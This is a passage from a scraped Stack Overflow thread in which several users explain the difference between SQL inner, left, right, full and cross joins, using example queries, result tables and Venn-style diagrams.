"text": "<p>Assuming you're joining on columns with no duplicates, which is a very common case:</p>\n<ul>\n<li><p>An inner join of A and B gives the result of A intersect B, i.e. the inner part of a <a href=\"http://en.wikipedia.org/wiki/Venn_diagram\" rel=\"noreferrer\">Venn diagram</a> intersection.</p>\n</li>\n<li><p>An outer join of A and B gives the results of A union B, i.e. the outer parts of a <a href=\"http://en.wikipedia.org/wiki/Venn_diagram\" rel=\"noreferrer\">Venn diagram</a> union.</p>\n</li>\n</ul>\n<p><strong>Examples</strong></p>\n<p>Suppose you have two tables, with a single column each, and data as follows:</p>\n<pre><code>A B\n- -\n1 3\n2 4\n3 5\n4 6\n</code></pre>\n<p>Note that (1,2) are unique to A, (3,4) are common, and (5,6) are unique to B.</p>\n<p><strong>Inner join</strong></p>\n<p>An inner join using either of the equivalent queries gives the intersection of the two tables, i.e. the two rows they have in common.</p>\n<pre><code>select * from a INNER JOIN b on a.a = b.b;\nselect a.*, b.* from a,b where a.a = b.b;\n\na | b\n--+--\n3 | 3\n4 | 4\n</code></pre>\n<p><strong>Left outer join</strong></p>\n<p>A left outer join will give all rows in A, plus any common rows in B.</p>\n<pre><code>select * from a LEFT OUTER JOIN b on a.a = b.b;\nselect a.*, b.* from a,b where a.a = b.b(+);\n\na | b\n--+-----\n1 | null\n2 | null\n3 | 3\n4 | 4\n</code></pre>\n<p><strong>Right outer join</strong></p>\n<p>A right outer join will give all rows in B, plus any common rows in A.</p>\n<pre><code>select * from a RIGHT OUTER JOIN b on a.a = b.b;\nselect a.*, b.* from a,b where a.a(+) = b.b;\n\na | b\n-----+----\n3 | 3\n4 | 4\nnull | 5\nnull | 6\n</code></pre>\n<p><strong>Full outer join</strong></p>\n<p>A full outer join will give you the union of A and B, i.e. all the rows in A and all the rows in B. If something in A doesn't have a corresponding datum in B, then the B portion is null, and vice versa.</p>\n<pre><code>select * from a FULL OUTER JOIN b on a.a = b.b;\n\n a | b\n-----+-----\n 1 | null\n 2 | null\n 3 | 3\n 4 | 4\nnull | 6\nnull | 5\n</code></pre>\n"
},
{
"answer_id": 3625912,
"author": "naga",
"author_id": 437795,
"author_profile": "https://Stackoverflow.com/users/437795",
"pm_score": 6,
"selected": false,
"text": "<p><code>INNER JOIN</code> requires there is at least a match in comparing the two tables. For example, table A and table B which implies A ٨ B (A intersection B).</p>\n\n<p><code>LEFT OUTER JOIN</code> and <code>LEFT JOIN</code> are the same. It gives all the records matching in both tables and all possibilities of the left table.</p>\n\n<p>Similarly, <code>RIGHT OUTER JOIN</code> and <code>RIGHT JOIN</code> are the same. It gives all the records matching in both tables and all possibilities of the right table.</p>\n\n<p><code>FULL JOIN</code> is the combination of <code>LEFT OUTER JOIN</code> and <code>RIGHT OUTER JOIN</code> without duplication.</p>\n"
},
{
"answer_id": 12616294,
"author": "vijikumar",
"author_id": 1126071,
"author_profile": "https://Stackoverflow.com/users/1126071",
"pm_score": 6,
"selected": false,
"text": "<p>You use <strong><code>INNER JOIN</code></strong> to return all rows from both tables where there is a match. i.e. In the resulting table all the rows and columns will have values.</p>\n\n<p>In <strong><code>OUTER JOIN</code></strong> the resulting table may have empty columns. Outer join may be either <code>LEFT</code> or <code>RIGHT</code>.</p>\n\n<p><strong><code>LEFT OUTER JOIN</code></strong> returns all the rows from the first table, even if there are no matches in the second table.</p>\n\n<p><strong><code>RIGHT OUTER JOIN</code></strong> returns all the rows from the second table, even if there are no matches in the first table.</p>\n"
},
{
"answer_id": 14292739,
"author": "vidyadhar",
"author_id": 1885368,
"author_profile": "https://Stackoverflow.com/users/1885368",
"pm_score": 7,
"selected": false,
"text": "<p>In simple words:</p>\n\n<p>An <strong>inner join</strong> retrieve the matched rows only.</p>\n\n<p>Whereas an <strong>outer join</strong> retrieve the matched rows from one table and all rows in other table ....the result depends on which one you are using:</p>\n\n<ul>\n<li><p><strong>Left</strong>: Matched rows in the right table and all rows in the left table</p></li>\n<li><p><strong>Right</strong>: Matched rows in the left table and all rows in the right table or </p></li>\n<li><p><strong>Full</strong>: All rows in all tables. It doesn't matter if there is a match or not</p></li>\n</ul>\n"
},
{
"answer_id": 20030933,
"author": "Lajos Veres",
"author_id": 1665673,
"author_profile": "https://Stackoverflow.com/users/1665673",
"pm_score": 5,
"selected": false,
"text": "<p>I don't see much details about performance and optimizer in the other answers.</p>\n\n<p>Sometimes it is good to know that only <code>INNER JOIN</code> is associative which means the optimizer has the most option to play with it. It can reorder the join order to make it faster keeping the same result. The optimizer can use the most join modes.</p>\n\n<p>Generally it is a good practice to try to use <code>INNER JOIN</code> instead of the different kind of joins. (Of course if it is possible considering the expected result set.)</p>\n\n<p>There are a couple of good examples and explanation here about this strange associative behavior:</p>\n\n<ul>\n<li><a href=\"https://stackoverflow.com/questions/20022196/are-left-outer-joins-associative\">Are left outer joins associative?</a></li>\n<li><a href=\"https://stackoverflow.com/questions/9614922/does-the-join-order-matter-in-sql\">Does the join order matter in SQL?</a></li>\n</ul>\n"
},
{
"answer_id": 21380648,
"author": "Tushar Gupta - curioustushar",
"author_id": 2224265,
"author_profile": "https://Stackoverflow.com/users/2224265",
"pm_score": 7,
"selected": false,
"text": "<h3>Inner Join</h3>\n<p>Retrieve the matched rows only, that is, <code>A intersect B</code>.</p>\n<p><img src=\"https://i.stack.imgur.com/Zkk3I.jpg\" alt=\"Enter image description here\" /></p>\n<pre><code>SELECT *\nFROM dbo.Students S\nINNER JOIN dbo.Advisors A\n ON S.Advisor_ID = A.Advisor_ID\n</code></pre>\n<hr>\n<h3>Left Outer Join</h3>\n<p>Select all records from the first table, and any records in the second\ntable that match the joined keys.</p>\n<p><img src=\"https://i.stack.imgur.com/Z584b.jpg\" alt=\"Enter image description here\" /></p>\n<pre><code>SELECT *\nFROM dbo.Students S\nLEFT JOIN dbo.Advisors A\n ON S.Advisor_ID = A.Advisor_ID\n</code></pre>\n<hr>\n<h3>Full Outer Join</h3>\n<p>Select all records from the second table, and any records in the first\ntable that match the joined keys.</p>\n<p><img src=\"https://i.stack.imgur.com/c1QF3.jpg\" alt=\"Enter image description here\" /></p>\n<pre><code>SELECT *\nFROM dbo.Students S\nFULL JOIN dbo.Advisors A\n ON S.Advisor_ID = A.Advisor_ID\n</code></pre>\n<hr>\n<h3>References</h3>\n<ul>\n<li><p><em><a href=\"http://www.datamartist.com/sql-inner-join-left-outer-join-full-outer-join-examples-with-syntax-for-sql-server\" rel=\"noreferrer\">Inner and outer joins SQL examples and the Join block</a></em></p>\n</li>\n<li><p><em><a href=\"http://www.techonthenet.com/sql/joins.php\" rel=\"noreferrer\">SQL: JOINS</a></em></p>\n</li>\n</ul>\n"
},
{
"answer_id": 23008416,
"author": "Kanwar Singh ",
"author_id": 1859906,
"author_profile": "https://Stackoverflow.com/users/1859906",
"pm_score": 5,
"selected": false,
"text": "<p><strong>Inner join.</strong> </p>\n\n<p>A join is combining the rows from two tables. An <em>inner join</em> attempts to match up the two tables based on the criteria you specify in the query, and only returns the rows that match. If a row from the first table in the join matches two rows in the second table, then two rows will be returned in the results. If there’s a row in the first table that doesn’t match a row in the second, it’s not returned; likewise, if there’s a row in the second table that doesn’t match a row in the first, it’s not returned.</p>\n\n<p><strong>Outer Join.</strong> </p>\n\n<p>A <em>left join</em> attempts to find match up the rows from the first table to rows in the second table. If it can’t find a match, it will return the columns from the first table and leave the columns from the second table blank (null).</p>\n"
},
{
"answer_id": 27458534,
"author": "Martin Smith",
"author_id": 73226,
"author_profile": "https://Stackoverflow.com/users/73226",
"pm_score": 10,
"selected": false,
"text": "<p>The Venn diagrams don't really do it for me.</p>\n<p>They don't show any distinction between a cross join and an inner join, for example, or more generally show any distinction between different types of join predicate or provide a framework for reasoning about how they will operate.</p>\n<p>There is no substitute for understanding the logical processing and it is relatively straightforward to grasp anyway.</p>\n<ol>\n<li>Imagine a cross join.</li>\n<li>Evaluate the <code>on</code> clause against all rows from step 1 keeping those where the predicate evaluates to <code>true</code></li>\n<li>(For outer joins only) add back in any outer rows that were lost in step 2.</li>\n</ol>\n<p>(NB: In practice the query optimiser may find more efficient ways of executing the query than the purely logical description above but the final result must be the same)</p>\n<p>I'll start off with an animated version of a <strong>full outer join</strong>. Further explanation follows.</p>\n<p><a href=\"https://i.stack.imgur.com/VUkfU.gif\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/VUkfU.gif\" alt=\"enter image description here\" /></a></p>\n<hr />\n<h1>Explanation</h1>\n<p><strong>Source Tables</strong></p>\n<p><img src=\"https://i.stack.imgur.com/LVYKx.png\" alt=\"enter link description here\" /></p>\n<p>First start with a <code>CROSS JOIN</code> (AKA Cartesian Product). This does not have an <code>ON</code> clause and simply returns every combination of rows from the two tables.</p>\n<p><strong>SELECT A.Colour, B.Colour FROM A CROSS JOIN B</strong></p>\n<p><img src=\"https://i.stack.imgur.com/cv3t6.png\" alt=\"enter link description here\" /></p>\n<p>Inner and Outer joins have an "ON" clause predicate.</p>\n<ul>\n<li><strong>Inner Join.</strong> Evaluate the condition in the "ON" clause for all rows in the cross join result. If true return the joined row. Otherwise discard it.</li>\n<li><strong>Left Outer Join.</strong> Same as inner join then for any rows in the left table that did not match anything output these with NULL values for the right table columns.</li>\n<li><strong>Right Outer Join.</strong> Same as inner join then for any rows in the right table that did not match anything output these with NULL values for the left table columns.</li>\n<li><strong>Full Outer Join.</strong> Same as inner join then preserve left non matched rows as in left outer join and right non matching rows as per right outer join.</li>\n</ul>\n<h1>Some examples</h1>\n<p><strong>SELECT A.Colour, B.Colour FROM A INNER JOIN B ON A.Colour = B.Colour</strong></p>\n<p>The above is the classic equi join.</p>\n<p><img src=\"https://i.stack.imgur.com/a8IHd.png\" alt=\"Inner Join\" /></p>\n<h2>Animated Version</h2>\n<p><a href=\"https://i.stack.imgur.com/kZcvR.gif\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/kZcvR.gif\" alt=\"enter image description here\" /></a></p>\n<h3>SELECT A.Colour, B.Colour FROM A INNER JOIN B ON A.Colour NOT IN ('Green','Blue')</h3>\n<p>The inner join condition need not necessarily be an equality condition and it need not reference columns from both (or even either) of the tables. Evaluating <code>A.Colour NOT IN ('Green','Blue')</code> on each row of the cross join returns.</p>\n<p><img src=\"https://i.stack.imgur.com/ZwoCi.png\" alt=\"inner 2\" /></p>\n<p><strong>SELECT A.Colour, B.Colour FROM A INNER JOIN B ON 1 =1</strong></p>\n<p>The join condition evaluates to true for all rows in the cross join result so this is just the same as a cross join. I won't repeat the picture of the 16 rows again.</p>\n<h3>SELECT A.Colour, B.Colour FROM A LEFT OUTER JOIN B ON A.Colour = B.Colour</h3>\n<p>Outer Joins are logically evaluated in the same way as inner joins except that if a row from the left table (for a left join) does not join with any rows from the right hand table at all it is preserved in the result with <code>NULL</code> values for the right hand columns.</p>\n<p><img src=\"https://i.stack.imgur.com/4bzv2.png\" alt=\"LOJ\" /></p>\n<h3>SELECT A.Colour, B.Colour FROM A LEFT OUTER JOIN B ON A.Colour = B.Colour WHERE B.Colour IS NULL</h3>\n<p>This simply restricts the previous result to only return the rows where <code>B.Colour IS NULL</code>. In this particular case these will be the rows that were preserved as they had no match in the right hand table and the query returns the single red row not matched in table <code>B</code>. This is known as an anti semi join.</p>\n<p>It is important to select a column for the <code>IS NULL</code> test that is either not nullable or for which the join condition ensures that any <code>NULL</code> values will be excluded in order for this pattern to work correctly and avoid just bringing back rows which happen to have a <code>NULL</code> value for that column in addition to the un matched rows.</p>\n<p><img src=\"https://i.stack.imgur.com/d6CVF.png\" alt=\"loj is null\" /></p>\n<h3>SELECT A.Colour, B.Colour FROM A RIGHT OUTER JOIN B ON A.Colour = B.Colour</h3>\n<p>Right outer joins act similarly to left outer joins except they preserve non matching rows from the right table and null extend the left hand columns.</p>\n<p><img src=\"https://i.stack.imgur.com/LIOW4.png\" alt=\"ROJ\" /></p>\n<h3>SELECT A.Colour, B.Colour FROM A FULL OUTER JOIN B ON A.Colour = B.Colour</h3>\n<p>Full outer joins combine the behaviour of left and right joins and preserve the non matching rows from both the left and the right tables.</p>\n<p><img src=\"https://i.stack.imgur.com/iVoqu.png\" alt=\"FOJ\" /></p>\n<h3>SELECT A.Colour, B.Colour FROM A FULL OUTER JOIN B ON 1 = 0</h3>\n<p>No rows in the cross join match the <code>1=0</code> predicate. All rows from both sides are preserved using normal outer join rules with NULL in the columns from the table on the other side.</p>\n<p><img src=\"https://i.stack.imgur.com/gtIhf.png\" alt=\"FOJ 2\" /></p>\n<h3>SELECT COALESCE(A.Colour, B.Colour) AS Colour FROM A FULL OUTER JOIN B ON 1 = 0</h3>\n<p>With a minor amend to the preceding query one could simulate a <code>UNION ALL</code> of the two tables.</p>\n<p><img src=\"https://i.stack.imgur.com/WPu9W.png\" alt=\"UNION ALL\" /></p>\n<h3>SELECT A.Colour, B.Colour FROM A LEFT OUTER JOIN B ON A.Colour = B.Colour WHERE B.Colour = 'Green'</h3>\n<p>Note that the <code>WHERE</code> clause (if present) logically runs after the join. One common error is to perform a left outer join and then include a WHERE clause with a condition on the right table that ends up excluding the non matching rows. The above ends up performing the outer join...</p>\n<p><img src=\"https://i.stack.imgur.com/4bzv2.png\" alt=\"LOJ\" /></p>\n<p>... And then the "Where" clause runs. <code>NULL= 'Green'</code> does not evaluate to true so the row preserved by the outer join ends up discarded (along with the blue one) effectively converting the join back to an inner one.</p>\n<p><img src=\"https://i.stack.imgur.com/tRHdf.png\" alt=\"LOJtoInner\" /></p>\n<p>If the intention was to include only rows from B where Colour is Green and all rows from A regardless the correct syntax would be</p>\n<h3>SELECT A.Colour, B.Colour FROM A LEFT OUTER JOIN B ON A.Colour = B.Colour AND B.Colour = 'Green'</h3>\n<p><img src=\"https://i.stack.imgur.com/cvJ1s.png\" alt=\"enter image description here\" /></p>\n<h2>SQL Fiddle</h2>\n<p>See these examples <a href=\"http://sqlfiddle.com/#!17/10d3d/29\" rel=\"noreferrer\">run live at SQLFiddle.com</a>.</p>\n"
},
{
"answer_id": 27540786,
"author": "ajitksharma",
"author_id": 2778527,
"author_profile": "https://Stackoverflow.com/users/2778527",
"pm_score": 8,
"selected": false,
"text": "<p><strong>Joins</strong> are used to combine the data from two tables, with the result being a new, temporary table. Joins are performed based on something called a predicate, which specifies the condition to use in order to perform a join. The difference between an inner join and an outer join is that an inner join will return only the rows that actually match based on the join predicate.\nFor eg- Lets consider Employee and Location table:</p>\n<h3>Employee</h3>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>EmpID</th>\n<th>EmpName</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>13</td>\n<td>Jason</td>\n</tr>\n<tr>\n<td>8</td>\n<td>Alex</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Ram</td>\n</tr>\n<tr>\n<td>17</td>\n<td>Babu</td>\n</tr>\n<tr>\n<td>25</td>\n<td>Johnson</td>\n</tr>\n</tbody>\n</table>\n</div><h3>Location</h3>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>EmpID</th>\n<th>EmpLoc</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>13</td>\n<td>San Jose</td>\n</tr>\n<tr>\n<td>8</td>\n<td>Los Angeles</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Pune, India</td>\n</tr>\n<tr>\n<td>17</td>\n<td>Chennai, India</td>\n</tr>\n<tr>\n<td>39</td>\n<td>Bangalore, India</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p><em><strong>Inner Join:-</strong></em>\nInner join creates a new result table by combining column values of two tables (<em>Employee</em> and <em>Location</em>) based upon the join-predicate. The query compares each row of <em>Employee</em> with each row of <em>Location</em> to find all pairs of rows which satisfy the join-predicate. When the join-predicate is satisfied by matching non-NULL values, column values for each matched pair of rows of <em>Employee</em> and <em>Location</em> are combined into a result row.\nHere’s what the SQL for an inner join will look like:</p>\n<pre><code>select * from employee inner join location on employee.empID = location.empID\nOR\nselect * from employee, location where employee.empID = location.empID\n</code></pre>\n<p>Now, here is what the result of running that SQL would look like:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Employee.EmpId</th>\n<th>Employee.EmpName</th>\n<th>Location.EmpId</th>\n<th>Location.EmpLoc</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>13</td>\n<td>Jason</td>\n<td>13</td>\n<td>San Jose</td>\n</tr>\n<tr>\n<td>8</td>\n<td>Alex</td>\n<td>8</td>\n<td>Los Angeles</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Ram</td>\n<td>3</td>\n<td>Pune, India</td>\n</tr>\n<tr>\n<td>17</td>\n<td>Babu</td>\n<td>17</td>\n<td>Chennai, India</td>\n</tr>\n</tbody>\n</table>\n</div>\n<p><strong>Outer Join:-</strong>\nAn outer join does not require each record in the two joined tables to have a matching record. The joined table retains each record—even if no other matching record exists. Outer joins subdivide further into left outer joins and right outer joins, depending on which table's rows are retained (left or right).</p>\n<p><em><strong>Left Outer Join:-</strong></em>\nThe result of a left outer join (or simply left join) for tables <em>Employee</em> and <em>Location</em> always contains all records of the "left" table (<em>Employee</em>), even if the join-condition does not find any matching record in the "right" table (<em>Location</em>).\nHere is what the SQL for a left outer join would look like, using the tables above:</p>\n<pre><code>select * from employee left outer join location on employee.empID = location.empID;\n//Use of outer keyword is optional\n</code></pre>\n<p>Now, here is what the result of running this SQL would look like:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Employee.EmpId</th>\n<th>Employee.EmpName</th>\n<th>Location.EmpId</th>\n<th>Location.EmpLoc</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>13</td>\n<td>Jason</td>\n<td>13</td>\n<td>San Jose</td>\n</tr>\n<tr>\n<td>8</td>\n<td>Alex</td>\n<td>8</td>\n<td>Los Angeles</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Ram</td>\n<td>3</td>\n<td>Pune, India</td>\n</tr>\n<tr>\n<td>17</td>\n<td>Babu</td>\n<td>17</td>\n<td>Chennai, India</td>\n</tr>\n<tr>\n<td><strong>25</strong></td>\n<td><strong>Johnson</strong></td>\n<td><strong>NULL</strong></td>\n<td><strong>NULL</strong></td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Note how while Johnson has no entry in the employee location table, he is still included in the results but the location fields are nulled.</p>\n<p><em><strong>Right Outer Join:-</strong></em>\nA right outer join (or right join) closely resembles a left outer join, except with the treatment of the tables reversed. Every row from the "right" table (<em>Location</em>) will appear in the joined table at least once. If no matching row from the "left" table (<em>Employee</em>) exists, NULL will appear in columns from <em>Employee</em> for those records that have no match in <em>Location</em>.\nThis is what the SQL looks like:</p>\n<pre><code>select * from employee right outer join location on employee.empID = location.empID;\n//Use of outer keyword is optional\n</code></pre>\n<p>Using the tables above, we can show what the result set of a right outer join would look like:</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Employee.EmpId</th>\n<th>Employee.EmpName</th>\n<th>Location.EmpId</th>\n<th>Location.EmpLoc</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>13</td>\n<td>Jason</td>\n<td>13</td>\n<td>San Jose</td>\n</tr>\n<tr>\n<td>8</td>\n<td>Alex</td>\n<td>8</td>\n<td>Los Angeles</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Ram</td>\n<td>3</td>\n<td>Pune, India</td>\n</tr>\n<tr>\n<td>17</td>\n<td>Babu</td>\n<td>17</td>\n<td>Chennai, India</td>\n</tr>\n<tr>\n<td><strong>NULL</strong></td>\n<td><strong>NULL</strong></td>\n<td><strong>39</strong></td>\n<td><strong>Bangalore, India</strong></td>\n</tr>\n</tbody>\n</table>\n</div>\n<p>Note how while there are no employees listed as working in Bangalore, it is still included in the results with the employee fields nulled out.</p>\n<p><strong>Full Outer Joins:-</strong>\nFull Outer Join or Full Join is to retain the nonmatching information by including nonmatching rows in the results of a join, use a full outer join. It includes all rows from both tables, regardless of whether or not the other table has a matching value.</p>\n<div class=\"s-table-container\">\n<table class=\"s-table\">\n<thead>\n<tr>\n<th>Employee.EmpId</th>\n<th>Employee.EmpName</th>\n<th>Location.EmpId</th>\n<th>Location.EmpLoc</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>13</td>\n<td>Jason</td>\n<td>13</td>\n<td>San Jose</td>\n</tr>\n<tr>\n<td>8</td>\n<td>Alex</td>\n<td>8</td>\n<td>Los Angeles</td>\n</tr>\n<tr>\n<td>3</td>\n<td>Ram</td>\n<td>3</td>\n<td>Pune, India</td>\n</tr>\n<tr>\n<td>17</td>\n<td>Babu</td>\n<td>17</td>\n<td>Chennai, India</td>\n</tr>\n<tr>\n<td><strong>25</strong></td>\n<td><strong>Johnson</strong></td>\n<td><strong>NULL</strong></td>\n<td><strong>NULL</strong></td>\n</tr>\n<tr>\n<td><strong>NULL</strong></td>\n<td><strong>NULL</strong></td>\n<td><strong>39</strong></td>\n<td><strong>Bangalore, India</strong></td>\n</tr>\n</tbody>\n</table>\n</div>\n<p><a href=\"https://dev.mysql.com/doc/refman/8.0/en/join.html\" rel=\"noreferrer\">MySQL 8.0 Reference Manual - Join Syntax</a></p>\n<p><a href=\"https://docs.oracle.com/javadb/10.8.3.0/ref/rrefsqlj29840.html\" rel=\"noreferrer\">Oracle Join operations</a></p>\n"
},
{
"answer_id": 28598795,
"author": "Pratik",
"author_id": 3326275,
"author_profile": "https://Stackoverflow.com/users/3326275",
"pm_score": 6,
"selected": false,
"text": "<p>In simple words :</p>\n<p><strong>Inner join</strong> -> Take ONLY common records from parent and child tables WHERE primary key of Parent table matches Foreign key in Child table.</p>\n<p><strong>Left join</strong> -></p>\n<p>pseudo code</p>\n<pre><code>1.Take All records from left Table\n2.for(each record in right table,) {\n if(Records from left & right table matching on primary & foreign key){\n use their values as it is as result of join at the right side for 2nd table.\n } else {\n put value NULL values in that particular record as result of join at the right side for 2nd table.\n }\n }\n</code></pre>\n<p><strong>Right join</strong> : Exactly opposite of left join . Put name of table in LEFT JOIN at right side in Right join , you get same output as LEFT JOIN.</p>\n<p><strong>Outer join</strong> : Show all records in Both tables <code>No matter what</code>. If records in Left table are not matching to right table based on Primary , Forieign key , use NULL value as result of join .</p>\n<p><strong>Example :</strong></p>\n<p><img src=\"https://i.stack.imgur.com/pCErn.png\" alt=\"Example\" /></p>\n<p>Lets assume now for 2 tables</p>\n<p><code>1.employees , 2.phone_numbers_employees</code></p>\n<pre><code>employees : id , name \n\nphone_numbers_employees : id , phone_num , emp_id \n</code></pre>\n<p>Here , employees table is Master table , phone_numbers_employees is child table(it contains <code>emp_id</code> as foreign key which connects <code>employee.id</code> so its child table.)</p>\n<p><strong>Inner joins</strong></p>\n<p>Take the records of 2 tables <strong>ONLY IF Primary key of employees table(its id) matches Foreign key of Child table phone_numbers_employees(emp_id)</strong>.</p>\n<p>So query would be :</p>\n<pre><code>SELECT e.id , e.name , p.phone_num FROM employees AS e INNER JOIN phone_numbers_employees AS p ON e.id = p.emp_id;\n</code></pre>\n<p>Here take only matching rows on primary key = foreign key as explained above.Here non matching rows on primary key = foreign key are skipped as result of join.</p>\n<p><strong>Left joins</strong> :</p>\n<p>Left join retains all rows of the left table, regardless of whether there is a row that matches on the right table.</p>\n<pre><code>SELECT e.id , e.name , p.phone_num FROM employees AS e LEFT JOIN phone_numbers_employees AS p ON e.id = p.emp_id;\n</code></pre>\n<p><strong>Outer joins</strong> :</p>\n<pre><code>SELECT e.id , e.name , p.phone_num FROM employees AS e OUTER JOIN phone_numbers_employees AS p ON e.id = p.emp_id;\n</code></pre>\n<p><strong>Diagramatically it looks like :</strong></p>\n<p><img src=\"https://i.stack.imgur.com/hMKKt.jpg\" alt=\"Diagram\" /></p>\n"
},
{
"answer_id": 29606109,
"author": "shA.t",
"author_id": 4519059,
"author_profile": "https://Stackoverflow.com/users/4519059",
"pm_score": 6,
"selected": false,
"text": "<p>The answer is in the meaning of each one, so in the results.</p>\n\n<blockquote>\n <p><strong>Note :</strong><br>\n In <code>SQLite</code> there is no <code>RIGHT OUTER JOIN</code> or <code>FULL OUTER JOIN</code>.<br>\n And also in <code>MySQL</code> there is no <code>FULL OUTER JOIN</code>.</p>\n</blockquote>\n\n<p>My answer is based on above <strong>Note</strong>.</p>\n\n<p>When you have two tables like these: </p>\n\n<pre><code>--[table1] --[table2]\nid | name id | name\n---+------- ---+-------\n1 | a1 1 | a2\n2 | b1 3 | b2\n</code></pre>\n\n<hr>\n\n<p><strong>CROSS JOIN / OUTER JOIN :</strong><br>\nYou can have all of those tables data with <code>CROSS JOIN</code> or just with <code>,</code> like this:</p>\n\n<pre><code>SELECT * FROM table1, table2\n--[OR]\nSELECT * FROM table1 CROSS JOIN table2\n\n--[Results:]\nid | name | id | name \n---+------+----+------\n1 | a1 | 1 | a2\n1 | a1 | 3 | b2\n2 | b1 | 1 | a2\n2 | b1 | 3 | b2\n</code></pre>\n\n<hr>\n\n<p><strong>INNER JOIN :</strong><br>\nWhen you want to add a filter to above results based on a relation like <code>table1.id = table2.id</code> you can use <code>INNER JOIN</code>:</p>\n\n<pre><code>SELECT * FROM table1, table2 WHERE table1.id = table2.id\n--[OR]\nSELECT * FROM table1 INNER JOIN table2 ON table1.id = table2.id\n\n--[Results:]\nid | name | id | name \n---+------+----+------\n1 | a1 | 1 | a2\n</code></pre>\n\n<hr>\n\n<p><strong>LEFT [OUTER] JOIN :</strong><br>\nWhen you want to have all rows of one of tables in the above result -with same relation- you can use <code>LEFT JOIN</code>:<br>\n(For <strong>RIGHT JOIN</strong> just change place of tables)</p>\n\n<pre><code>SELECT * FROM table1, table2 WHERE table1.id = table2.id \nUNION ALL\nSELECT *, Null, Null FROM table1 WHERE Not table1.id In (SELECT id FROM table2)\n--[OR]\nSELECT * FROM table1 LEFT JOIN table2 ON table1.id = table2.id\n\n--[Results:]\nid | name | id | name \n---+------+------+------\n1 | a1 | 1 | a2\n2 | b1 | Null | Null\n</code></pre>\n\n<hr>\n\n<p><strong>FULL OUTER JOIN :</strong><br>\nWhen you also want to have all rows of the other table in your results you can use <code>FULL OUTER JOIN</code>:</p>\n\n<pre><code>SELECT * FROM table1, table2 WHERE table1.id = table2.id\nUNION ALL\nSELECT *, Null, Null FROM table1 WHERE Not table1.id In (SELECT id FROM table2)\nUNION ALL\nSELECT Null, Null, * FROM table2 WHERE Not table2.id In (SELECT id FROM table1)\n--[OR] (recommended for SQLite)\nSELECT * FROM table1 LEFT JOIN table2 ON table1.id = table2.id\nUNION ALL\nSELECT * FROM table2 LEFT JOIN table1 ON table2.id = table1.id\nWHERE table1.id IS NULL\n--[OR]\nSELECT * FROM table1 FULL OUTER JOIN table2 On table1.id = table2.id\n\n--[Results:]\nid | name | id | name \n-----+------+------+------\n1 | a1 | 1 | a2\n2 | b1 | Null | Null\nNull | Null | 3 | b2\n</code></pre>\n\n<p>Well, as your need you choose each one that covers your need ;).</p>\n"
},
{
"answer_id": 34950096,
"author": "onedaywhen",
"author_id": 15354,
"author_profile": "https://Stackoverflow.com/users/15354",
"pm_score": 5,
"selected": false,
"text": "<p>Having criticized the much-loved red-shaded Venn diagram, I thought it only fair to post my own attempt.</p>\n\n<p>Although @Martin Smith's answer is the best of this bunch by a long way, his only shows the key column from each table, whereas I think ideally non-key columns should also be shown.</p>\n\n<p>The best I could do in the half hour allowed, I still don't think it adequately shows that the nulls are there due to absence of key values in <code>TableB</code> or that <code>OUTER JOIN</code> is actually a union rather than a join:</p>\n\n<p><a href=\"https://i.stack.imgur.com/fzwkg.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/fzwkg.png\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 35152521,
"author": "Sandesh",
"author_id": 1018966,
"author_profile": "https://Stackoverflow.com/users/1018966",
"pm_score": 2,
"selected": false,
"text": "<ul>\n<li><p><strong>Inner join</strong> - An <strong>inner join</strong> using either of the equivalent queries gives the intersection of the two <em>tables</em>, i.e. the two rows they have in common.</p></li>\n<li><p><strong>Left outer join</strong> - A <strong>left outer join</strong> will give all rows in A, plus any common rows in B.</p></li>\n<li><p><strong>Full outer join</strong> - A <strong>full outer join</strong> will give you the union of A and B, i.e. All the rows in A and all the rows in B. If something in A doesn't have a corresponding datum in B, then the B portion is null, and vice versay</p></li>\n</ul>\n"
},
{
"answer_id": 36910139,
"author": "Akshay Khale",
"author_id": 2541634,
"author_profile": "https://Stackoverflow.com/users/2541634",
"pm_score": 5,
"selected": false,
"text": "<p><strong>Simplest Definitions</strong></p>\n\n<p>Inner Join: Returns <strong>matched records</strong> from both tables.</p>\n\n<p>Full Outer Join: Returns matched and <strong>unmatched records</strong> from both tables with null for unmatched records from <strong>Both Tables</strong>.</p>\n\n<p>Left Outer Join: Returns matched and unmatched records only from table on <strong>Left Side</strong>.</p>\n\n<p>Right Outer Join: Returns matched and unmatched records only from table on <strong>Right Side</strong>.</p>\n\n<p>In-Short</p>\n\n<p>Matched + Left Unmatched + Right Unmatched = <strong>Full Outer Join</strong></p>\n\n<p>Matched + Left Unmatched = <strong>Left Outer Join</strong></p>\n\n<p>Matched + Right Unmatched = <strong>Right Outer Join</strong></p>\n\n<p>Matched = <strong>Inner Join</strong></p>\n"
},
{
"answer_id": 40016423,
"author": "Anands23",
"author_id": 4643764,
"author_profile": "https://Stackoverflow.com/users/4643764",
"pm_score": 4,
"selected": false,
